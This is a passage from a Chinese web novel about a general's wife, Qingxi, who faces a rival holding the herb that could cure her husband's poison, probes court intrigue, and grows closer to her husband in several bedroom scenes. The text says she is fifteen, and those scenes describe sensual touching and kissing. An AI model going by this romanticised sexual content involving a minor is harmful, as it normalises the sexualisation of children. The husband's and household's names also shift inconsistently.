这位在沙场上叱咤风云的尤将军,不是一向自诩光明磊落,最看不上内宅女子那些上不得台面的手段么? 怎么今日,竟也亲自下场,玩起了这一套? 茅清兮心中轻哂,面上却不动声色。 想来,要么是让皇上下旨,要么让冀容白亲自来提,都比她这般气急败坏地找上门来要强。 “看来,”茅清兮轻启朱唇,一语道破,“尤将军在冀容白那里,是碰了壁了,才又转到我这儿来寻突破口。” 尤明月脸色一僵,恼怒之色更甚。 她深吸一口气,强压下心头的火气,冷声道:“你久居内院,自然不明白如今朝堂上的局势有多凶险。” “我有玉露草,能救冀容白一命。”尤明月顿了顿,眼神如刀,直直刺向茅清兮,“他若与我联手,鹰羽卫和墨家军合力,朝中那些人,谁还敢再对他轻举妄动?” 她语气一转,带着几分施舍的意味:“但你……不行。你只会成为他的负累。若你当真有半分顾念他,就该主动让贤,别再霸占着澜府女主人的位置不放!” 茅清兮听着这番颠倒黑白的说辞,险些笑出声来。 她微微偏头,唇角勾起一抹嘲讽的弧度:“尤将军这话说得,真是大义凛然,感人肺腑。 第二百三十四章 ” “只是……”茅清兮话锋一转,语气陡然凌厉,“冀容白他,听了吗?” 尤明月被这一句问得生生噎住,面色铁青。 她张了张口,想反驳,却又无从说起。 “他只是一时转不过弯来罢了!”尤明月强自镇定,语气却难掩心虚,“等他想明白了,自然会知道,谁才是真正能与他并肩之人。” 茅清兮缓缓收起脸上的笑意,眼神变得冷冽如冰。 她定定地看着尤明月,一字一顿地问道:“尤将军,你喜欢冀容白?” 尤明月眼中飞快地闪过一丝慌乱,随即恼羞成怒:“这与我今日来找你,毫无干系!” “喜欢他,却又拿他的性命安危来要挟他?”茅清兮步步紧逼,语气中满是质疑,“尤将军,这就是你所谓的‘喜欢’?” “我与你不同,我并非那等只知沉溺于儿女情长之人!” 尤明月被茅清兮戳中心思,恼怒更甚。但她到底是久经沙场之人,很快便调整了过来。 她冷笑一声,反唇相讥:“苏将军是国之栋梁,我倾慕于他,有何不妥?倒是你,身为他的正妻,却丝毫不为他的处境考虑,当真是自私至极!” “我所做的一切,都是为了云陲,为了大晋!”尤明月越说越激昂,仿佛自己真的是那忧国忧民的忠臣义士,“而你,不过是个只知争风吃醋的内宅妇人,根本不懂得这些!” 茅清兮听着她这番冠冕堂皇的说辞,心中只觉得可笑。 尤明月口口声声说为了云陲,为了大晋,可实际上,还不是为了她自己? 若冀容白当真因此而屈服,那他便不再是那个顶天立地的苏将军了。 茅清兮看着尤明月,缓缓开口:“尤将军,这些话,你在冀容白面前,也说过吧?” 尤明月沉默不语,显然是默认了。 “看来,冀容白并没有答应你。”茅清兮轻笑一声,“也对,他那样的人,又怎会受你摆布?” 她顿了顿,又道:“尤将军,你我虽立场不同,但我敬你是条女中豪杰。可你今日这般作为,实在有失身份。” 清韵早就在一旁憋不住了,此刻更是直接跳了出来,指着尤明月的鼻子骂道:“什么女中豪杰,我看她就是个不要脸的狐狸精!清兮,你还跟她废什么话,直接赶出去就是了!” “清韵!”茅清兮轻斥一声,示意她稍安勿躁。 她转头看向尤明月,似笑非笑地说道:“尤将军,你若真想进澜府,大可不必如此。只要夫君点了头,我自当让位。” “你!”尤明月气得浑身发抖,却又无力反驳。 她总不能真的让冀容白来下这个决定吧? 那样一来,她岂不是更落了下乘? “冥顽不灵!”尤明月狠狠地瞪了茅清兮一眼,拂袖而去。 “呸,什么东西!”清韵冲着她的背影啐了一口,犹自愤愤不平。 “行了,别气了。”茅清兮拉着她的手,轻声安慰道。 “我就是看不惯她那副高高在上的样子!”清韵嘟着嘴,“对了清兮,你跟她比武,能赢吗?” “这个嘛……”茅清兮故意卖了个关子,“你猜?” “哎呀,你别吊我胃口了!”清韵急得直跺脚,“快说呀!” “放心,我不会输给她的。”茅清兮笑着拍了拍她的手,“不过,眼下还有更重要的事。” 她的神色变得严肃起来,脑海中浮现出尤明月提到的那株“玉露草”。 这玉露草是冀容白解毒的关键,可如今,却落在了尤明月手中…… 茅清兮心中焦急,却也知道,此时此刻,急不得。 她得好好想想,该如何从尤明月手中,将这玉露草弄到手。 总不能真的像尤明月说的那样,为了冀容白,委屈自己吧? 茅清兮眼中闪过一丝坚定。 她绝不会向尤明月低头! 另一边,白苏道长的小院里,却是一片悠闲景象。 这位被圣上派来为冀容白诊治的“神医”,正躺在摇椅上,优哉游哉地晒着太阳。 茅清兮找到他时,看到的就是这副画面。 “师伯,您这小日子,过得可真是够滋润的。”茅清兮走过去,笑着调侃道。 白苏道长连眼皮都没抬一下,只是哼了一声:“丫头,有事说事,没事别打扰老道清修。” “您这哪是清修,分明是偷懒。”茅清兮毫不客气地揭穿他。 “你这丫头,越来越没大没小了!”白苏道长终于睁开了眼,瞪了她一眼,“说吧,找我什么事?” “我来问问您,关于冀容白身上的毒,您老人家可有什么进展?”茅清兮也不跟他绕弯子,直接开门见山。 “进展?”白苏道长嗤笑一声,“你当老道我是神仙不成?这寒星露的毒,哪有那么容易解?” “可您不是奉了圣上的旨意,前来为冀容白诊治的吗?”茅清兮疑惑道,“难道,您就打算一直这么拖着?” “拖着?”白苏道长冷笑,“丫头,你以为,老道我真的想救他?” “什么意思?”茅清兮心中一惊,隐隐觉得,事情似乎并不简单。 “冀容白若是死了,对某些人来说,才是最好的结果。”白苏道长意味深长地说道。 “师伯,您是说……”茅清兮不敢置信地看着他,“有人希望冀容白死?” “这世上的事,哪有那么简单。”白苏道长叹了口气,“丫头,你还是太年轻了。” 他看着茅清兮,眼中闪过一丝复杂的情绪。 “你和冀容白的事,我都知道了。你们两个,都是倔脾气,认定了的事,九头牛都拉不回来。” “可这世道,有时候,不是光凭一腔热血就能闯过去的。” “冀容白的身世,注定了他这一生,都将充满坎坷。” “你若真想帮他,就得好好想想,该如何在这乱世之中,保全自己,保全他。” 白苏道长说完,便闭上了眼睛,不再言语。 茅清兮站在原地,心中久久不能平静。 她知道,白苏道长的话,并非危言耸听。 冀容白的身世,的确是个巨大的隐患。 若有朝一日,真的暴露出来,后果不堪设想。 可她,又该如何去做呢? 茅清兮陷入了深深的沉思之中……“皇上正值壮年,又不是昏聩之君,怎会轻易将这锦绣江山,拱手交给一个外姓之人?” 茅清兮纤眉微蹙,努力让自己不去想那些陈年旧事。 她定了定神,尽量让语气听起来平静: “退一步讲,就算储君真的不适合,可这大晋又不是没人了,皇子们个个摩拳擦掌,怎么也轮不到他冀容白啊。” 白苏道长听了,只是哼笑两声,不置可否。 第二百三十五章 茅清兮看着他,眼神带着探究的意味。 忽然,她灵光一闪,试探着问: “师伯,最近……皇上龙体如何?” 白苏道长瞥了她一眼,那眼神仿佛在说“你这丫头倒是机灵”: “你这丫头,倒是和你娘一样,心思活络。” 他顿了顿,声音低沉: “不过,有些话可不能乱说,小心祸从口出。” 茅清兮心头一紧,手心微微出汗。 “师伯,清兮也只是猜测……” 她深吸一口气,说道: “如果不是皇上龙体有恙,太子殿下何必将您引荐给圣上?还因此让圣上龙颜大悦。” 她微微停顿,观察着白苏道长的神色: “历朝历代,为君者真正追求长生之道的能有几人?不过是龙体衰败,太医院束手无策,才想着靠丹术续命罢了。” 这话,其实也是在试探。 如果白苏道长真是太子的人,那太子对当今圣上的身体,必然一清二楚。 想到这儿,茅清兮的心,沉了下去。 这种时候,如果皇上真的表现出要把江山交给冀容白的意思,那钱云霄肯定会想方设法除掉冀容白。 白苏道长更不可能救他,他们巴不得他早点死。 哪怕他刚打了胜仗,守住了云陲。 茅清兮觉得胸口闷得慌,就像压了块大石头。 皇上非要把尤明月赐给冀容白,恐怕也是因为这个。 冀容白这次在云陲,肯定不止一次遇刺,想让他死的人太多了,不然冀容白不会装病回京。 “师伯。” 茅清兮眼神微动,忽然换了个话题: “您和孔谋都是青鸾阁的人,那现在京城里,还有没有别的青鸾阁弟子?他们……是不是都在太子身边?” 白苏道长直接拒绝: “想套路我没门!我是真的一无所知。” “青鸾阁闭阁,是不是因为玄机图?” 茅清兮不死心,继续问: “太子现在也在找玄机图,师伯您知道这图在哪儿吗?” “你这丫头,胆子真大!” 白苏道长瞪着她,语气不善: “玄机图那东西,谁拿着谁倒霉。你难道想跟你娘一样,走上老路?” “这么说,师伯果真明察秋毫。” 茅清兮的话,让白苏道长恨不得敲开她的脑袋看看里面装了什么。 虽然他和邹童霜关系一般,但他也不想看到邹童霜唯一的女儿出事。 可现在,茅清兮既是冀容白的妻子,又很可能拿着玄机图,这让她身处险境,一不小心就会没命。 “玄机图的事,你就当什么都不知道。” 白苏道长语气沉重: “而且,你娘也不会把玄机图给你。这玩意就是个定时炸弹,照你母亲的脾气,说不定早就烧了。” 难道她娘真的这么做了?把大家都想要的图给烧了? 茅清兮有点不敢相信。 那她到哪儿去找? 冀容白的毒怎么办,难道真要答应尤明月,让她做侧夫人? 原本,茅清兮觉得这事儿可以让冀容白自己处理,可现在,她根本没办法置身事外。 —— 茅清兮没能从白苏道长那里问出更多,只好闷闷不乐地离开。 她回到房里,一眼就看见冀容白正靠在床头,似笑非笑地看着她。 那一瞬间,茅清兮才想起来,冀容白回来了,他们得睡在一起。 搁平时,这根本不算事儿。 但一想到之前冀容白要解她腰带,而她落荒而逃的事,现在再见到冀容白,她就浑身别扭。 冀容白看着她,嘴角微微上扬,带着点戏谑: “怎么,娘子这是打算躲着为夫一辈子?” “谁说我要躲着你?” 茅清兮嘴硬,眼神却飘忽不定。 她走到桌边,给自己倒了杯水,掩饰内心的慌乱: “我……我去洗漱。” 茅清兮让人送来热水,在净室里磨蹭了许久。 平时一盏茶的功夫就能解决,今天硬是拖了小半个时辰。 久到她自己都觉得过分了,才裹着浴巾,慢吞吞地走了出来。 她一边用干布擦着湿发,一边用眼角余光偷瞄床上的动静。 冀容白像是睡着了,呼吸很轻。 茅清兮松了口气,在桌边坐下,把头发擦干,这才慢吞吞地走到床边,躺了下去。 他们都不喜欢屋里有人守夜,所以早就把人都打发了,连蜡烛都熄了。 屋子里黑漆漆的,什么也看不见。 茅清兮刚躺下,冀容白就轻轻笑了一声,翻身朝向她。 茅清兮吓了一跳,差点从床上跳起来。 但她又不想在冀容白面前丢脸,只能强忍着,闭上眼睛装睡。 冀容白温热的手指,轻轻地摸到她放在肚子上的手,然后,牢牢地握住。 茅清兮想把手抽回来,可她越动,冀容白就握得越紧。 他掌心的温度,烫得她心慌。 她能感觉到自己的眼珠在眼皮底下转来转去,根本不敢睁开。 “娘子……这是害羞了?” 冀容白的声音低沉沙哑,带着一丝笑意。 “谁害羞了?没有。” 茅清兮强装镇定,嘴硬道。 虽然屋里很黑,但他们都是习武之人,视力比一般人好。 茅清兮脸上那一闪而过的红晕,根本逃不过冀容白的眼睛。 “那娘子,白天的时候,为什么踢我那一脚?” 冀容白的声音里,带着一丝委屈,又像是撒娇: “咱俩成亲这么久,却一直有名无实。” 他顿了顿,语气变得有些幽怨: “我要是哪天战死沙场,岂不是亏大了?” 茅清兮猛地睁开眼睛,又羞又恼,咬着牙说: “冀容白!你都快没命了,还有心思说这个?” “这难道不重要吗?” 冀容白把头靠在她肩膀上,声音低沉,带着浓浓的委屈,就好像他受了多大的冤枉似的: “这些年,我一直在打仗,单身狗一条,好不容易娶了媳妇,却还是个……” 他故意停顿了一下,没把“童子身”三个字说出来,但意思已经很明显了。 “我要是真死了,到了阴曹地府,岂不是要被那些鬼笑话?” 茅清兮简直无语,她实在搞不懂冀容白的脑回路。 就在这时,冀容白的手,开始不老实起来。 他轻轻地摸着她的腰,那里的肌肤,细腻而敏感。 茅清兮只觉得腰间一阵酥麻,身体忍不住轻轻颤抖。 冀容白趁机把她搂进怀里。 “娘子……娘子……” 他贴着她的耳朵,一声声地叫她,声音低沉而沙哑,带着蛊惑人心的力量。 茅清兮的身体微微颤抖,她想推开冀容白,可双手却使不上力气。 她努力让自己冷静,可脑子里却乱糟糟的。 “冀容白,你……你放开……” 论不要脸,茅清兮比不上冀容白。 她不知道该怎么拒绝,眼神慌乱。 她才十五岁,根本没经历过这种事。 第二百三十六章 就算平时再怎么冷静,这时候也慌了神。 她不讨厌冀容白,但也说不上有多喜欢。 而且,他俩本就是结了婚的,没有经历过那些情啊爱啊的过程。 冀容白虽然对她有些亲昵的举动,今天这情况属实头一遭。 茅清兮从他的眼神里,看到了明显的……渴望。 黑暗中,冀容白忽然不动了。 他伸手,轻轻地捏了捏她手腕内侧。 然后,在她微微颤抖的眼皮上,轻轻地亲了一下。 “不逗你了,看把你吓的。” 他低声笑着,声音里带着一丝宠溺: “娘子,睡吧。”夜,静得仿佛能听见彼此的心跳。 茅清兮努力平复着紊乱的呼吸,心跳却还是不争气地快。 她睁大了眼睛,透过一片昏暗,盯着头顶的床帐。眼神从最初的迷茫,一点点变得清明。 冀容白的手还搭在她的腰上,指尖温热,却没有再进一步的动作。 只是,他急促而沉重的呼吸,清晰可闻,仿佛在极力克制着什么。 茅清兮感觉自己的脸颊,一直烧到了脖子根,连耳垂都烫得厉害。 她这才恍然大悟,如果刚才,冀容白没有停下来…… 他们是夫妻,本该是天经地义。 可是在此之前,她真的从未想过,要和冀容白做这般亲密的事。 平日里再怎么聪慧机敏,可一遇到这档子事,她就笨拙得像个孩子。 茅清兮懊恼地抿紧了唇,很不满意自己这副没出息的样子。 突然,她翻了个身,直直地面对着冀容白。 “冀容白,”她开口,声音里带着一丝自己都没察觉的紧张,“你喜欢我吗?” 问完,她又有些后悔,觉得自己太过直白,可话已出口,覆水难收。 周遭的一切都安静下来,连空气都仿佛凝固。 但在茅清兮的视线里,冀容白眼底的错愕,清晰可见。 紧接着,那错愕便如涟漪般,在他眼中层层化开,转为一片温柔。 “嗯,喜欢。” 他答得干脆,声音低沉而坚定。 即使早就猜到了答案,可亲耳听见,茅清兮的心口,还是忍不住颤了颤。 一种难以言喻的欢喜,像细小的电流,从心底深处蔓延至四肢百骸。 黑暗中,她忍不住勾起了唇角,露出一个浅浅的笑容。 冀容白顺势将她往怀里带了带,动作轻柔,却不容抗拒。 “那你呢,喜欢我吗?”他贴着她的耳畔,低声问,声音沙哑得厉害。 茅清兮的身子微微一僵,刚刚鼓起的勇气,一下子又泄了下去。 她把脸埋进他胸膛,闷闷地、低低地说了一句:“我才不要和别人共侍一夫。” 话音刚落,腰间就被不轻不重地捏了一把。 “傻丫头,”冀容白轻笑,声音里带着宠溺,“我何时说过要纳妾了?” 茅清兮抬起头,眼神里带着质疑:“可你让尤明月住进了府里……” “她?”冀容白嗤笑一声,“她不过是个挟‘草’自重的客人,也配称‘进门’?” “可她是皇上……” “将在外,君命有所不受。”冀容白打断她,语气里透着一股不容置疑的霸气,“更何况,她手里有玉露草。” “她既是客人,你就是主人。” “你是这秦府的女主人,想怎么处置一个客人,还不是一句话的事?” 茅清兮听得一愣一愣的。 她没想到,冀容白竟然会这样说。 “我……我真的可以赶她走?”她的声音里,透着明显的不确定。 “当然。”冀容白捏了捏她的脸蛋,“只要你不高兴,随时都可以。” 茅清兮沉默了。 她知道,冀容白这是在表明态度,也是在给她撑腰。 可她心里还是有些不安。 毕竟,尤明月的身份不一般,她手里的玉露草,更是关系到冀容白的性命。 “你刚才……是不是吃醋了?”冀容白的声音,忽然在她耳边响起,带着一丝戏谑。 茅清兮的脸颊,瞬间又烧了起来。 她紧紧地闭着嘴巴,不肯承认。 “兮萱,”冀容白不依不饶,“你这是在酸了吧,对不对?” “别……别乱叫!”茅清兮低斥一声,声音里带着明显的慌乱。 只有娘亲会这样叫她。 冀容白低笑了几声,胸腔微微震动。 “放心,用不了多久,她就会离开。” “你……有计划了?”茅清兮抬起头,试图从他眼中看出些什么。 冀容白没有直接回答,而是换了个话题。 他把她搂得更紧了些,声音低沉而温柔:“等过些日子,我们重新办一次婚礼,好不好?” 茅清兮微微一怔。 “我不喜欢铺张浪费,那些都是做给别人看的。” “不是做给别人看。”冀容白打断她,语气认真,“我是要让所有人知道,你是我明媒正娶的妻子,谁也别想越过你去。” 茅清兮还是不说话,把脸埋在他怀里。 冀容白也不再多说,只是轻轻地拍着她的背,像是哄孩子入睡一样。 “娘子……”他低声呢喃着,声音里带着一丝压抑不住的情动。 方才的克制,几乎耗尽了他所有的自制力。 他低下头,轻轻地吻了吻她的额头,然后是眼睛,鼻子,最后是嘴唇。 茅清兮没有拒绝,只是紧紧地闭着眼睛,长长的睫毛微微颤抖。 冀容白加深了这个吻,温柔而缠绵。 茅清兮感觉自己仿佛置身于一片云雾之中,轻飘飘的,找不到方向。 但冀容白的手臂,始终紧紧地环绕着她,给她依靠,让她不至于迷失。 不知道过了多久,这个吻才慢慢结束。 茅清兮大口地喘息着,胸口剧烈地起伏。 冀容白轻笑着,在她耳边低语:“还想要吗,娘子?” 茅清兮的思绪渐渐回笼,身体却突然僵住了。 她咬了咬唇,声音里带着一丝恼怒:“冀容白,你……不正经!” “我哪里不正经了?”冀容白笑得更欢了,“我可是规矩得很。” 茅清兮不想跟他争辩,她知道自己说不过他。 她试图从他怀里挣脱出来。 “别动!”冀容白的声音,突然变得低沉而沙哑。 茅清兮瞬间不敢动了。 黑暗中,两人沉默了片刻,气氛变得有些微妙。 “你……”茅清兮轻咳一声,试图打破这尴尬的气氛,“你是不是真的有办法,让尤明月交出玉露草?” 冀容白深吸了一口气,似乎在平复着什么。 “她以为,自己手里有十万兵马,就能拿捏住我。” “所以才敢拿着玉露草,跟我讨价还价。” “可她不明白,”冀容白的声音里带着一丝嘲讽,“墨家军是怎么来的。” “当年我刚到云陲的时候,那可真是一穷二白。” “别说打仗了,连吃饭都成问题。 第二百三十七章 ” “尤临风?他那时候算个什么东西,不过是个芝麻绿豆大的小官。” “是我,带着一帮兄弟,硬生生从土匪窝里,抢出了第一批粮草。” “也是我,带着他们,一点点把流民组织起来,开荒种地,训练兵马。” “没有我,哪来的墨家军?” 他顿了顿,语气变得有些低沉。 “后来,我又从这些人里,挑选出最精锐的,组建了鹰羽卫。” “这么说吧,尤明月现在能稳住墨家军,不过是因为我在后面给她撑腰。” “她真以为,靠着那点人,就能威胁到我?”冀容白冷笑一声,“天真!” “我之所以留在云陲,帮她整顿墨家军,不过是想让这支队伍尽快恢复战斗力,回到战场上。” “而不是让她用来对付我。” “现在,我回来了,却把墨川他们留在了云陲。” “她怕是还没想明白,这意味着什么。” “用不了多久,墨家军就会彻底变成我的。” “到时候,她拿什么跟我斗?” 茅清兮静静地听着,心中掀起一阵波澜。 “那……你岂不是掌控了整个北境?” 她忍不住问道。 “所以,你是要……?”她欲言又止。 冀容白沉默了许久,才缓缓开口。 “有些事情,不是我能选择的。” “我身上的毒一旦解开,那些人是不会放过我的。” “他们会像闻到血腥味的狼一样,扑上来,把我撕成碎片。” “我若想活命,就只能反抗。” “以前,我是觉得活着没什么意思,所以才由着那毒留在身体里。” “但现在不一样了。”他的声音突然变得温柔,“我有你了,我怎么舍得死?”“若我当真要了那个位置,娘子会如何?” 冀容白握着茅清兮的手,指腹轻轻摩挲着她手背细腻的肌肤,冷不丁抛出这么一句。 茅清兮抬眼,眸光清亮,语气寻常得像是在谈论今日天气: “你若想要,我便陪你一道去取。” 没有迟疑,没有慷慨激昂,就这么简简单单的一句话。 冀容白却听得心头一热。 他知道,茅清兮从不轻易许诺,可一旦应下,便是千金不换。 他忍不住勾起唇角,眼底的笑意如春水般荡漾开来: “不过是玩笑话。那位置,就算夺来,也未必非得自己去坐。” 他顿了顿,目光灼灼地看着茅清兮, “我想要的,不过是这世间,再无人能伤我们分毫。” 茅清兮听着,心头思绪翻涌。 她想起近日来的种种,柳眉微蹙: “可如今,外头都传玄机图在我身上,我怕是也成了众矢之的。” 冀容白轻笑一声,将她揽入怀中,低声道: “无妨。他们越是这般认为,你便越安全。” 他顿了顿,语气带上一丝冷意, “如今这局势,稍有异动,便是牵一发而动全身。他们不敢轻举妄动,只能等。” 他在等一个时机,一个能将所有隐患一举铲除的时机。 茅清兮自然明白他话里的深意。 眼下看似平静,实则暗潮汹涌。 每一步,都需如履薄冰,小心翼翼。 她靠在冀容白怀里,轻叹一声: “只盼着,能早日了结这一切。” 冀容白在她发顶轻轻一吻,没有说话。 有些事,急不得。 他伸手在她腰间轻轻一捏, “时候不早了,歇息吧,嗯?” 茅清兮常年习武,腰身柔韧,却带着习武之人才有的紧致。 冀容白的手掌沿着她腰间的曲线细细摩挲,感受着那惊人的弧度。 他眼中闪过一丝玩味,手上力道加重了几分。 茅清兮被他弄得有些痒,忍不住轻哼一声,伸手拍掉他的手: “快睡!” 将被子拉高,遮住泛红的耳根。 冀容白见状,低笑出声。 他收回手,老老实实地躺好,却还是忍不住将茅清兮紧紧搂在怀里。 一夜无话。 次日清晨,茅清兮醒来时,身旁的冀容白还在沉睡。 她习惯了早起练剑,可今日,看着近在咫尺的俊颜,她却破天荒地想偷个懒。 时值深秋,寒气渐重,被窝外的世界仿佛都带着一股萧瑟的凉意。 茅清兮虽不是贪图享乐之人,可眼下这温暖的被窝,实在让她有些留恋。 她侧头看着冀容白,心中忽然冒出一个念头。 她悄悄伸出手,轻轻捏住冀容白的鼻子。 看着他眉头微蹙,呼吸渐渐变得急促,她又恶作剧般地松开。 如此反复几次,正当她玩得兴起时,手腕忽然被一只大手牢牢抓住。 冀容白缓缓睁开眼,眼中带着一丝无奈,一丝纵容: “娘子这般顽皮,可是要我罚你?” 茅清兮被抓了个正着,脸上闪过一丝窘迫。 她轻咳一声,故作镇定道:“谁让你不起?” 说着,她便要起身。 可还没等她完全坐起来,就被冀容白一把拉了回去。 她跌入他怀中,鼻尖撞上他坚实的胸膛,隐隐作痛。 “今日告假,可好?” 冀容白紧紧抱着她,声音低沉而沙哑,带着几分诱哄的意味, “难得清闲,陪我多躺一会儿。” 茅清兮有些心动,但还是摇了摇头: “习武之人,不可懈怠。” “可我这几月,日日不得安眠。” 冀容白将下巴抵在她头顶,轻轻蹭了蹭,声音里带着一丝委屈, “娘子就当……可怜可怜我?” 茅清兮被他这般软磨硬泡,终是败下阵来。 “只此一次,下不为例。” 她嘴上虽这般说着,身体却很诚实地往他怀里缩了缩。 冀容白得逞地笑了,将她抱得更紧。 两人在床上又腻歪了一会儿,这才慢吞吞地起身。 绿绿等丫鬟听到动静,连忙进来伺候洗漱。 只是,今日的将军和夫人,似乎与往日有些不同。 两人之间的气氛,似乎比平日里更亲昵了几分。 尤其是夫人,脸上总是带着一抹淡淡的红晕,眼神也有些飘忽不定。 几人交换了一个眼神,心照不宣地加快了手上的动作,然后悄无声息地退了出去。 茅清兮来到院中,练了几趟剑,又指点了长明几招。 这孩子天资聪颖,进境极快,如今已能与她过上几招。 长明练完一套剑法,收剑而立,眼中闪烁着兴奋的光芒: “师父,我能去鹰羽卫看看吗?” 他顿了顿,又有些忐忑地补充道, “就……看看。” 茅清兮想了想,这事儿冀容白是应了的,只是…… 她自己也想去瞧瞧,冀容白那神龙见首不见尾的鹰羽卫究竟是何模样。 “这事儿,你得问他。” 茅清兮决定把这难题丢给冀容白。 长明闻言,小脸上露出几分犹豫。 对于这位名震天下的苏枭将军,他心中既敬佩,又有些畏惧。 第二百三十八章 毕竟,那可是连京城里最无法无天的小霸王们听了都要抖三抖的人物。 但更多的是敬仰,他希望自己以后也能成为像冀容白那般,可以凭一己之力,守护一方安宁。 茅清兮回到屋里,绿绿几个已将早膳摆好。 冀容白坐在桌边,正等着她。 见她进来,他立刻起身,替她拉开椅子,又亲自盛了一碗粥放到她面前。 茅清兮默默地坐下,低头喝粥,没有说话。 “这个虾饺不错,你尝尝。” 冀容白殷勤地替她夹菜, “还有这个,这是你最爱吃的……” 他一边说着,一边不停地往她碗里添菜,很快便堆成了一座小山。 绿绿等人见了,都忍不住掩嘴偷笑。 看来,外面的那些传言都是假的。 自家将军对夫人这般体贴,又怎会另娶他人? 她们几个跟着茅清兮,早已将她当成了亲人。 若是府里再多一位女主人,她们的日子怕是不会好过。 茅清兮被冀容白这般热情弄得有些不自在。 她本就不是个善于言辞的人,更何况冀容白说的那些话,总是让她忍不住脸红心跳。 她索性埋头苦吃,只盼着这顿饭能快些结束。 好不容易捱到早膳用完,正当她松了一口气时,俞霜匆匆来报: “将军,夫人,付公子求见。” 茅清兮心中一喜,连忙道: “快请。” 总算能从这尴尬的氛围中解脱出来了。 司玄苏一身男子装扮,进门后,向二人行礼。 茅清兮示意他起身,问道: “你那边,可还顺利?” “回主子,一切顺利。” 司玄苏恭敬地回答, “属下已按计划,假死脱身,如今七皇子那边,应是不会再怀疑了。” “如此便好。” 茅清兮点点头, “你暂且隐于暗处,没有要紧事,不必现身。” 顿了顿,补充道:“至于太子那边,你不必理会。冀容白这边一但有结果,从前种种,也该做个清算了。” 她原本是计划把司玄苏放在江湖势力中做长远打算。 但现下,最厉害的门派都在冀容白手里,倒省了许多麻烦。 “属下明白。” 司玄苏应道。 主子说什么,他照做便是。 茅清兮交代完正事,忽然想起一事。 她上下打量了司玄苏一番,看得他心里直发毛。 “主子……可是还有别的吩咐?” 司玄苏忍不住问道。 “嗯……” 茅清兮有些难以启齿, “那个……你以前,不是在碧云楼待过么?” 她吞吞吐吐, “可曾学过些……特别的本事?” 她咬了咬唇,终于还是鼓起勇气,压低声音凑到司玄苏耳边, “教我两招,嗯……就是那种,能让男子……嗯,你懂的。”“主子,您这是……” 司玄苏惊得下巴都要掉下来了,他瞪圆了眼睛,活像见了鬼似的盯着茅清兮。 茅清兮被他这般盯着,浑身不自在,耳根子也烧得慌。她故作镇定,绷着脸冷声道: “当我没说。” 谁知,话音刚落,司玄苏“噗嗤”一声笑了出来,而且越笑越大声,全然不顾茅清兮越来越难看的脸色。 “哎呦喂,我的主子,” 司玄苏好不容易止住笑,凑到茅清兮跟前,挤眉弄眼道, “您这副模样,才真真像个及笄之年的小姑娘家呢!” 茅清兮冷着脸,从牙缝里挤出一句话: “司玄苏,没事儿你可以滚了。” “主子,您可别赶我走啊。” 司玄苏一听,立马换上一副可怜巴巴的模样, “您想想,我在碧云楼那种地方摸爬滚打这么些年,迎来送往的,什么人没见过?要说伺候人的本事,我多少还是学了些的。” 他压低了嗓音,语气里带着几分诱哄的意味。 他虽穿着男装,身形却比寻常男子纤细单薄。加上他五官精致,气质阴柔,一举一动间,隐约有种模糊了性别的美感。此刻,他故作娇柔姿态,非但不让人觉得别扭,反倒有种说不出的风情。 司玄苏朝茅清兮眨了眨眼,又朝她勾了勾手指,声音压得更低了: “主子,您有什么想知道的,问我算是问对人了……” 他凑到茅清兮耳边,用只有两个人能听到的声音嘀咕了几句。 茅清兮只觉得耳畔一阵温热的气息拂过,耳尖“腾”地一下烧了起来,那抹红晕迅速蔓延,连带着脸颊也染上了一层绯色。 “谁说我是那个意思了!” 她急忙辩解,声音都有些变了调。 在司玄苏戏谑的目光下,茅清兮咬了咬唇,强压下心头的羞赧,才勉强找回自己的声音: “我不过是想问问……冀容白那厮,平日里总是那般对我……” 她顿住了,一时竟不知该如何形容那种感觉。 冀容白在她面前,与其说是调情,不如说是逗弄,每每都让她无力招架,却又无可奈何。 她原本是想向司玄苏讨教几招,日后也好在冀容白面前扳回一城。 只是,这心思实在难以启齿。 吞吞吐吐了半晌,茅清兮才硬着头皮憋出一个词来: “捉弄。” 对,就是捉弄! 每每与冀容白相处,她都觉得自己像个稚童,被他玩弄于股掌之间。 司玄苏眨巴着眼睛,装出一副天真无邪的模样: “您就想问这个呀?” 他原以为茅清兮会问些更私密、更劲爆的,比如……闺房之乐什么的。 看来,是他想太多了。 “怎么,你不知道?” 茅清兮眯起眼睛,眼神里充满了怀疑。 “这……” 司玄苏尴尬地摸了摸鼻子。他在碧云楼里应付的,多是些色迷心窍的恩客,哪曾有人问过这般……纯情的问题? 他心里暗自发笑,面上却不敢表露出来。 “主子,您不妨换个角度想想……” 司玄苏斟酌着措辞,缓缓说道, “您和苏将军之间,本就不是寻常的夫妻关系。这情爱之事,又何必像比武过招一般,非要争个胜负呢?” “再说了,情爱这东西,最是虚无缥缈,跟着感觉走便是了。” “您若是觉得……太过被动了,”司玄苏稍稍停顿,语气里带上了几分试探,“倒不如……主动些?” 一番话说完,司玄苏心里也没底。他自己都没尝过情爱的滋味,又哪儿能给别人指点迷津? 见茅清兮听了他的话,低头沉思起来,他也就识趣地闭上了嘴。 若是他知道,自己今日这番话,竟会在茅清兮心中留下如此深刻的印记,以至于日后真相大白之时,冀容白还得亲自登门道谢,他定会更加卖力地出谋划策。 …… 当冀容白踏进房间时,司玄苏早已离开了。 他见茅清兮坐在桌旁,一副若有所思的模样,便笑着走了过去,俯身在她耳边轻声问道: “娘子,这是想什么呢,这般入神? 第二百三十九章 ” 茅清兮猛地回过神来,抬头望向他。 冀容白凝视着她微微上扬的脸庞,清澈的眼眸中映出自己的身影,心中不由得一荡。 他情不自禁地低下头,吻住了那两片柔软的唇瓣。 一旁的绿绿和俞霜见状,连忙红着脸转过身去。两人对视一眼,都从对方眼中看到了几分尴尬。她们悄无声息地退了出去,守在门外,不让任何人靠近。 茅清兮脑海中回想着司玄苏方才说的话,心中一动,便伸出手,轻轻环住了冀容白的腰身。 冀容白的身子明显一僵,似乎有些意外。 但只一瞬,他便反应过来,反客为主,加深了这个吻。 茅清兮本想挣扎着起身,却被冀容白牢牢地压制住。他弯着腰,低着头,根本不给她任何反抗的机会。 没过多久,她便被吻得晕头转向,神智也开始模糊起来。 不知过了多久,两人才分开。 冀容白微微喘息着,眸色深沉如墨。他伸出指腹,轻轻摩挲着茅清兮微微红肿的唇瓣,声音低哑而性感: “娘子今日怎的如此热情?可是……有什么想要的?” 茅清兮微微皱眉,眼中闪过一丝疑惑: “你不喜欢?” 她不过是照着司玄苏说的,主动一些罢了,难不成还做错了? 冀容白深深地凝视着她,唇角缓缓勾起一抹玩味的笑意: “喜欢,自然是喜欢的。” 他这当真是捡到宝了。 平日里看着清冷孤傲的一个人,没想到在情事上竟如此单纯。 可爱。 他的娘子,实在是可爱得紧。 